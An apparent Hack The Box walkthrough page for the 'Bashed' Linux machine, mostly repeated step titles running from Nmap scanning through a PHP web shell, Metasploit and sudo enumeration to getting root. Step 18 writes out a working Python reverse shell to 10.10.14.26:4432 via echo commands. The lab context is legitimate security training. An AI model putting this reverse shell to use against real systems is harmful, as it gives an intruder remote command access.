Bashed by Hack The Box

3 Dec 2020, 8:33 p.m.
03:11 minutes

Platform
Hack The Box

Operating System
Linux

Level
Easy

Machine Rating
Gubbish

Attribute Value
Machine Platform Hack The Box
Machine Name Bashed
Machine Author Arrexel
Machine Level Easy
Machine Rating Gubbish
Machine OS Linux
1 Initial Nmap Scan
Initial NMAP scan
Initial NMAP scan.
2 Nmap Follow Scan all HTTP Scripts
Nmap Follow Scan all HTTP Scripts
Nmap Follow Scan all HTTP Scripts.
3 Apache 2.4.18 on Ubuntu
Apache 2.4.18 on Ubuntu
Apache 2.4.18 on Ubuntu.
4 DEV Path
DEV Path
DEV Path.
5 PHP Bash Shell
PHP Bash Shell
PHP Bash Shell.
6 Enumeration
Enumeration
Enumeration.
7 Create Shell
Create Shell
Create Shell.
8 Host Shell
Host Shell
Host Shell.
9 Web Delivery Metasploit
Web Delivery Metasploit
Web Delivery Metasploit.
10 Upgrade-metasploit-meterpreter
Upgrade-metasploit-meterpreter
Upgrade-metasploit-meterpreter.
11 Enumerate
Enumerate
Enumerate.
12 Sudo -l
Sudo -l
Sudo -l.
13 TTY Shell
TTY Shell
TTY Shell.
14 Files-Owned-By-Scriptmanager
Files-Owned-By-Scriptmanager
Files-Owned-By-Scriptmanager.
15 File Fun By Root
File Fun By Root
File Fun By Root.
16 Spawn Shell As Scriptmanager
Spawn Shell As Scriptmanager
Spawn Shell As Scriptmanager.
17 Content Discovery
Content Discovery
Content Discovery.
18
echo 'import socket,subprocess,os' > test.py echo 's=socket.socket(socket.AF_INET,socket.SOCK_STREAM)' >> test.py echo 's.connect(("10.10.14.26",4432)) ' >> test.py echo 'os.dup2(s.fileno(),0)' >> test.py echo 'os.dup2(s.fileno(),1)' >> test.py echo 'os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' >> test.py 
19 Got Root
Got Root
Got Root.
20 Overide Test Py
Overide Test Py
Overide Test Py.

Captcha: What's the standard TCP port of the following service?

captcha

0 comments